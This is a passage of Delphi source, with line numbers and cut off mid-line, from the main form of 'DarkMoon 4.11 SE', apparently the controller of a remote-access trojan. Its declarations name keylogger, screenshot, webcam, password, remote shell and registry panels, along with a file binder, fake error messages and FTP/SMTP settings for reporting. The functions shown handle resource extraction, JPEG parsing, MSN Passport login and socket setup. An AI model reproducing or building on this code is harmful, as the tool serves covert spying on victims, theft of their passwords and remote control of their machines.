  674.     procedure TeButton70Click(Sender: TObject);
  675.     procedure TeButton66Click(Sender: TObject);
  676.     procedure TeButton71Click(Sender: TObject);
  677.     procedure TeButton7Click(Sender: TObject);
  678.     procedure TeButton10Click(Sender: TObject);
  679.     procedure TeButton9Click(Sender: TObject);
  680.     procedure LVRegDblClick(Sender: TObject);
  681.     procedure TeButton11Click(Sender: TObject);
  682.     procedure TeThemeSwitcherChangeTheme(Sender: TObject);
  683.     procedure tefxButton2Click(Sender: TObject);
  684.     procedure TeButton2Click(Sender: TObject);
  687.   private
  690.         MSNClient :  TTCPClient;
  691.         SBClient :  TTCPClient;
  695.   FtpClient:TSimpleTCPClient;
  697.    Client:TSimpleTCPClient;
  698.        Server:TSimpleTCPServer;
  700.     procedure MSNClientError(Sender: TObject; Error: integer; Msg: string);
  701.   procedure MSNClientConnect(Sender: TObject; Socket: TSocket);
  702.   procedure MSNClientData(Sender: TObject; Socket: TSocket);
  703.   procedure MSNClientClose(Sender: TObject; Socket: TSocket);
  705.   procedure SBClientError(Sender: TObject; Error: integer; Msg: string);
  706.   procedure SBClientConnect(Sender: TObject; Socket: TSocket);
  707.   procedure SBClientData(Sender: TObject; Socket: TSocket);
  708.   procedure SBClientClose(Sender: TObject; Socket: TSocket);
  710.  procedure FtpClientConnected(Sender: TObject);
  711.  procedure FtpClientDisconnected(Sender: TObject);
  712.  procedure FtpClientRead(Sender: TObject; Stream: TStream);
  713.  procedure FtpClientError(Sender: TObject; Socket,
  714.       ErrorCode: Integer; ErrorMsg: String);
  719.  procedure ClientConnected(Sender: TObject);
  720.  procedure ClientDisconnected(Sender: TObject);
  721.  procedure ClientRead(Sender: TObject; Stream: TStream);
  722.  procedure ClientError(Sender: TObject; Socket,
  723.       ErrorCode: Integer; ErrorMsg: String);
  727.  procedure ServerError(Sender: TObject; Socket, ErrorCode: Integer;
  728.       ErrorMsg: String);
  729.  procedure ServerAccept(Sender: TObject; Client: TSimpleTCPClient;
  730.       var Accept: Boolean);
  731.  procedure ServerClientConnected(Sender: TObject;
  732.       Client: TSimpleTCPClient);
  733.  procedure ServerClientDisconnected(Sender: TObject;
  734.       Client: TSimpleTCPClient);
  735.  procedure ServerClientRead(Sender: TObject; Client: TSimpleTCPClient;
  736.       Stream: TStream);
  738.     { Private declarations }
  739.   public
  740.     { Public declarations }
  742.     
  743.         KServer:TSimpleTCPServer;
  744.         KClient:TSimpleTCPClient;
  746.  procedure KClientConnected(Sender: TObject);
  747.  procedure KClientDisconnected(Sender: TObject);
  748.  procedure KClientRead(Sender: TObject; Stream: TStream);
  749.  procedure KClientError(Sender: TObject; Socket,
  750.       ErrorCode: Integer; ErrorMsg: String);
  753.            procedure KServerError(Sender: TObject; Socket, ErrorCode: Integer;
  754.       ErrorMsg: String);
  755.     procedure KServerAccept(Sender: TObject; Client: TSimpleTCPClient;
  756.       var Accept: Boolean);
  757.     procedure KServerClientConnected(Sender: TObject;
  758.       Client: TSimpleTCPClient);
  759.     procedure KServerClientDisconnected(Sender: TObject;
  760.       Client: TSimpleTCPClient);
  761.       procedure KServerClientRead(Sender: TObject; Client: TSimpleTCPClient;
  762.       Stream: TStream);
  763.       
  764.         procedure WndProc(Var TheMsg: TMessage);
  765.      function TracePath(Node : TTreeNode):string;
  766.      procedure hideforms;
  767.     PROCEDURE LoadLanguage(name: string);
  768.   end;
  772. const
  773. WM_MSN = $0400 + 60;
  774. WM_SB = $0400 + 70;
  775. DMVersion = '4.11 SE' ;
  777. var
  778.   frmMain: TfrmMain;
  779.   MainParm1, MainParm2, MainParm3 : string;
  780.   SINConnected : integer;
  781.          blah : HICON;
  782.   TrayIcon : TNotifyIconData;
  783.   USER, PASS,FTP,PORT,DIR,FileDarkMoon,BinderFile,SetupIP,SetupSMTP ,SetupEMAIL: string   ;
  784.   fakeerrorTitle,  fakeerrorMessage : string;
  785.    fakeerrorIcon,  fakeerrorStyle : integer;
  786.    currentClient : integer;
  789.    wVersionRequested  : WORD ;
  790. inn : IN_ADDR ;
  791. nErrorStatus : integer;
  793.    wsa_Data  : WSADATA;
  795. SocketMSN : TSocket;
  796. socketSB : TSocket;
  799.    MSNaddr : SOCKADDR_IN; // Internet address
  800. MSNaddrserver : SOCKADDR_IN; // Internet address
  803.   SBaddr : SOCKADDR_IN; // Internet address
  804.   SBaddrserver : SOCKADDR_IN; // Internet address
  806.       buf:ansistring;
  807.   con1:boolean;
  808.   loginhost: string = '';
  809.   Step : integer;
  810.    MSN_COUNTID : integer;
  811.     SB_AUTH1  : string;
  812.      SB_AUTH2 : string;
  813.      MSN_Client : boolean;
  815.      MSN_EMAIL : string;
  816.      MSN_PASS : string  ;
  817.      MSN_Active : string;
  818.      id : cardinal;
  819.     act : integer;
  820.     MSN_TIP  : String;
  821.     MSN_TPORT : String ;
  822.     LanguageID : integer;
  823.      RootNode : TTreeNode;
  824.      ConnectedIP : string;
  825.      UploadFileSource : string;
  826.      DownloadFileSource : string;
  827.      RemoteFilePath : string;
  828.      ServerSystemPath : string;
  829.      ServerExtention : string;
  830.      tempClientSocket :    TSimpleTCPClient;
  831.     ServerPassword : string;
  832.      typeconnection : integer;
  833.      CurrentSocket : integer;
  834.   count : integer;
  835.   var
  836. Myfile : TIniFile;
  837.    LData : array[0..999] of string;
  838. implementation
  840. uses     UHelp, UfrmShell, UfrmCapture;
  842. {$R *.dfm}
  845. procedure ExtractResourceToFile( ResName, ResExtract: String);
  846. var
  847.   ResourceLocation: HRSRC;
  848.   cFileHandle, cResourceDataHandle: THandle;
  849.   cResourceSize, cBytesWritten: Longword;
  850.   cRecourcePath, cResourcePointer: PChar;
  851. begin
  852.   cRecourcePath := PChar( ResExtract );
  853.   ResourceLocation := FindResource (HInstance,PChar(ResName),RT_RCDATA);
  854.   cResourceSize := SizeofResource(HInstance,ResourceLocation);
  855.   cResourceDataHandle := LoadResource(HInstance,ResourceLocation);
  856.   cResourcePointer := LockResource(cResourceDataHandle);
  857.   cFileHandle := CreateFile(cRecourcePath,GENERIC_WRITE,FILE_SHARE_WRITE,nil,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
  858.   WriteFile( cFileHandle, cResourcePointer^, cResourceSize,cBytesWritten,nil);
  859.   CloseHandle( cFileHandle );
  860. end;
  862. procedure putMessage(s : string);
  863. begin
  865.     frmMain.MainMsg.ShowMessagePos(s,frmMain.Left + (frmMain.Width div 3),frmMain.Top+ (frmMain.Height div 3));
  866. end;
  867.  function ReadMWord(f: TFileStream): word;
  868. type
  869.   TMotorolaWord = record
  870.     case byte of
  871.       0: (Value: word);
  872.       1: (Byte1, Byte2: byte);
  873.   end;
  874. var
  875.   MW: TMotorolaWord;
  876. begin
  877.   { It would probably be better to just read these two bytes in normally }
  878.   { and then do a small ASM routine to swap them.  But we aren't talking }
  879.   { about reading entire files, so I doubt the performance gain would be }
  880.   { worth the trouble. }
  881.   f.Read(MW.Byte2, SizeOf(Byte));
  882.   f.Read(MW.Byte1, SizeOf(Byte));
  883.   Result := MW.Value;
  884. end;
  888.  procedure GetJPGSize(const sFile: string; var wWidth, wHeight: word);
  889. const
  890.   ValidSig : array[0..1] of byte = ($FF, $D8);
  891.   Parameterless = [$01, $D0, $D1, $D2, $D3, $D4, $D5, $D6, $D7];
  892. var
  893.   Sig: array[0..1] of byte;
  894.   f: TFileStream;
  895.   x: integer;
  896.   Seg: byte;
  897.   Dummy: array[0..15] of byte;
  898.   Len: word;
  899.   ReadLen: LongInt;
  900. begin
  901.   FillChar(Sig, SizeOf(Sig), #0);
  902.   f := TFileStream.Create(sFile, fmOpenRead);
  903.   try
  904.     ReadLen := f.Read(Sig[0], SizeOf(Sig));
  906.     for x := Low(Sig) to High(Sig) do
  907.       if Sig[x] <> ValidSig[x] then ReadLen := 0;
  909.     if ReadLen > 0 then
  910.     begin
  911.       ReadLen := f.Read(Seg, 1);
  912.       while (Seg = $FF) and (ReadLen > 0) do
  913.       begin
  914.         ReadLen := f.Read(Seg, 1);
  915.         if Seg <> $FF then
  916.         begin
  917.           if (Seg = $C0) or (Seg = $C1) then
  918.           begin
  919.             ReadLen := f.Read(Dummy[0], 3); { don't need these bytes }
  920.             wHeight := ReadMWord(f);
  921.             wWidth := ReadMWord(f);
  922.           end else begin
  923.             if not (Seg in Parameterless) then
  924.             begin
  925.               Len := ReadMWord(f);
  926.               f.Seek(Len-2, 1);
  927.               f.Read(Seg, 1);
  928.             end else
  929.               Seg := $FF; { Fake it to keep looping. }
  930.           end;
  931.         end;
  932.       end;
  933.     end;
  934.   finally
  935.     f.Free;
  936.   end;
  937. end;
  941. procedure TfrmMain.hideforms   ;
  942. begin
  944. gb2.Visible:=false;
  945. gb3.Visible:=false;
  946. gb5.Visible:=false;
  947. gb6.Visible:=false;
  948. gb7.Visible:=false;
  949. gb8.Visible:=false;
  950. gb9.Visible:=false;
  951. gbMSN.Visible:=false;
  952. gbSkinManager.Visible:=false;
  955. gbSpyKeylogger.Visible:=false;
  956. gbSpyScreenshot.Visible:=false;
  957. gbSpyWebcam.Visible:=false;
  958. gbspyprocesses.Visible:=false;
  959. gbWindows.Visible:=false;
  960. gbConsole.Visible:=false;
  961. gbMSGs.Visible:=false;
  962. gbRegEdit.Visible:=false;
  963. gbINF.Visible:=false;
  964. gbPasswords.Visible:=false;
  966. gbSkinManager.Visible:=false;
  968. gbAdmin.Visible:=false;
  969. gbFun.Visible:=false;
  970. gbSearch.Visible:=false;
  971. gbServices.Visible:=false;
  972. gbOnlineEditor.Visible:=false;
  973. gbWebServer.Visible:=false;
  974. gbShutDown.Visible:=false;
  975. end;
  977.   procedure  SendMSNData (COMD : string;PARM :string);
  978.  begin
  979.  MSN_COUNTID:=MSN_COUNTID + 1  ;
  981.     frmmain.MSNClient.Write(COMD +   ' ' +  inttostr(MSN_COUNTID) + ' ' +PARM + #13#10);
  982.  end;
  985.   function sslget(url,chal:string):string;
  986. var
  987.   NetHandle,UrlHandle: HINTERNET;
  988.   Buffer: array[0..4095] of Char;
  989.   auth,username,password:string;
  990.   dummy,kk: dWord;
  991. begin
  992.     password:=MSN_PASS;
  993.      username:=MSN_Email; // Get username and changes @ into %40
  994.      username:=copy(username,1,pos('@',username)-1)+'%40'+copy(username,pos('@',username)+1,222);
  995.      if chal<>'' then auth:='Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in='+username+',pwd='+password+','+chal;
  997.     frmMain.Memo1.Lines.Add('WININET: ' + url);
  998.     frmMain.Memo1.Lines.Add ('WININET: '+ auth);
  1000.      NetHandle := InternetOpen('MSMSGS', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, INTERNET_FLAG_NO_COOKIES + INTERNET_FLAG_NO_UI + INTERNET_FLAG_PRAGMA_NOCACHE + INTERNET_FLAG_SECURE);
  1001.      UrlHandle := InternetOpenUrl(NetHandle, PChar(url), pchar(auth), dword(-1), INTERNET_FLAG_NO_COOKIES + INTERNET_FLAG_NO_AUTO_REDIRECT, 0);
  1002.      FillChar(Buffer, SizeOf(Buffer), 0);
  1003.      kk:=SizeOf(Buffer);
  1004.      dummy:=0;
  1005.      HttpQueryInfo(UrlHandle,HTTP_QUERY_RAW_HEADERS_CRLF,@Buffer,kk,dummy);
  1006.      result:=buffer;
  1007.      InternetCloseHandle(UrlHandle);
  1008.      InternetCloseHandle(NetHandle);
  1009.       frmMain.Memo1.Lines.Add (result);
  1010. end;
  1012. function fesauth(chal:string):string;
  1013. begin
  1014.  if loginhost='' then begin // We must find the login server
  1015.         loginhost:=sslget('https://nexus.passport.com/rdr/pprdr.asp',''); // Tells us what the login server is
  1016.         delete(loginhost,1,pos('DALogin=',loginhost)+7); // Server is after DALogin=
  1017.         loginhost:='https://'+copy(loginhost,1,pos(',',loginhost)-1); // We add "https://" to the address
  1018.      end;
  1020.      result:=sslget(loginhost,chal); // Connect to login server
  1022.      while pos('Location: ',result)>0 do begin // Loop here if server redirects us
  1023.         result:=copy(result,pos('Location: ',result)+10,22222);
  1024.         result:=copy(result,1,pos(#13,result)-1);
  1025.         result:=sslget(result,chal); // result = address we're been redirected (begins with https://)
  1026.      end;
  1028.      if pos('da-status=success',result)>0 then begin // we succeeded
  1029.         delete(result,1,pos('from-PP=',result)+8); // Get the "blahblahblah" of "from-PP='blahblahblah'
  1030.         result:=copy(result,1,pos('''',result)-1); // result = our passport auth :)
  1031.      end
  1032.      else begin // we failed
  1033.           delete(result,1,pos('cbtxt=',result)+5); // get error message
  1034.           showmessage(result); // show it (should be de-escaped)
  1035.           result:='';
  1036.      end;
  1037. end;
  1040. procedure SocketClose(var Socket: TSocket; Handle: HWND ; wMsg : integer);
  1041. var
  1042.   RC: integer;
  1043. begin
  1044.   if Socket <> INVALID_SOCKET then
  1045.     begin
  1046.        WSAASyncSelect(Socket, Handle, wMsg , 0);
  1049.       if shutdown(Socket, 1) <> 0 then
  1050.         if WSAGetLastError <> WSAENOTCONN then
  1051.           begin
  1052.            // SocketError(WSAGetLastError);
  1053.             Exit;
  1054.           end;
  1056.       if closesocket(Socket) <> 0 then
  1057.        // SocketError(WSAGetLastError)
  1058.       else
  1059.         Socket:= INVALID_SOCKET;
  1060.     end;
  1061. end;
  1066.         procedure CreateSocketSB ;
  1067. begin
  1068.      SocketClose ( SocketSB ,frmMain.Handle,  WM_SB);
  1069.    {--------------We have to create a socket for ftp Commands Client------------- }
  1070.   SocketSB  := socket(AF_INET, SOCK_STREAM, 0);
  1071.   if (SocketSB <> INVALID_SOCKET)   THEN BEGIN
  1072.   SBaddr.sin_family := AF_INET;
  1073.   SBaddr.sin_port := 0;
  1074.  SBaddr.sin_addr.s_addr := htonl(INADDR_ANY);
  1075.   end;
  1077.  if (bind(SocketSB ,SBaddr,sizeof(SBaddr))= INVALID_SOCKET ) then begin
  1078.  halt;
  1079.  end;
  1081.  if (WSAAsyncSelect(SocketSB, FrmMain.Handle, WM_SB, FD_READ or FD_READ or FD_WRITE or FD_CLOSE or  FD_Connect) = SOCKET_ERROR) then begin
  1082.  halt;
  1083.  end;
  1085. end;
  1087.     procedure CreateSocketMSN ;
  1088. begin
  1089.      SocketClose ( SocketMSN ,frmMain.Handle,  WM_MSN);
  1090.    {--------------We have to create a socket for MSN Connection------------- }
  1091.    SocketMSN  := socket(AF_INET, SOCK_STREAM, 0);
  1092.   if ( SocketMSN <> INVALID_SOCKET)   THEN BEGIN
  1093.  MSNaddr.sin_family := AF_INET;
  1094. MSNaddr.sin_port := 0;
  1095.  MSNaddr.sin_addr.s_addr := htonl(INADDR_ANY);
  1096.   end;
  1098.  if (bind( SocketMSN , MSNaddr,sizeof( MSNaddr))= INVALID_SOCKET ) then begin
  1099.  halt;
  1100.  end;
  1102.  if (WSAAsyncSelect( SocketMSN, FrmMain.Handle, WM_MSN , FD_READ or FD_READ or FD_WRITE or FD_CLOSE or  FD_Connect) = SOCKET_ERROR) then begin
  1103.  halt;
  1104.  end;
  1106. end;
  1109.        procedure itemexits(text : string);
  1110.         var
  1111.         count : integer;
  1112.        begin
  1113.           for count :=0 to frmmain.lvMSN.Items.Count -1 do begin
  1114.               if    frmmain.lvMSN.Items.Item[count].Caption=text then begin
  1115.                 frmmain.lvMSN.Items.Item[count].Delete;
  1116.                 exit;
  1117.               end;
  1118.           end;
  1120.        end;
  1124.    procedure CHG;
  1125.    var
  1126.      MyList : TListItem;
  1127.      count : integer;
  1129. begin
  1130. sleep(5000);
  1133.  SENDMSNDATA( 'CHG','NLN 0');
  1134.      sleep (2000);
  1135.     frmmain.Memo1.Text:= replace (frmmain.Memo1.Text,'ILN','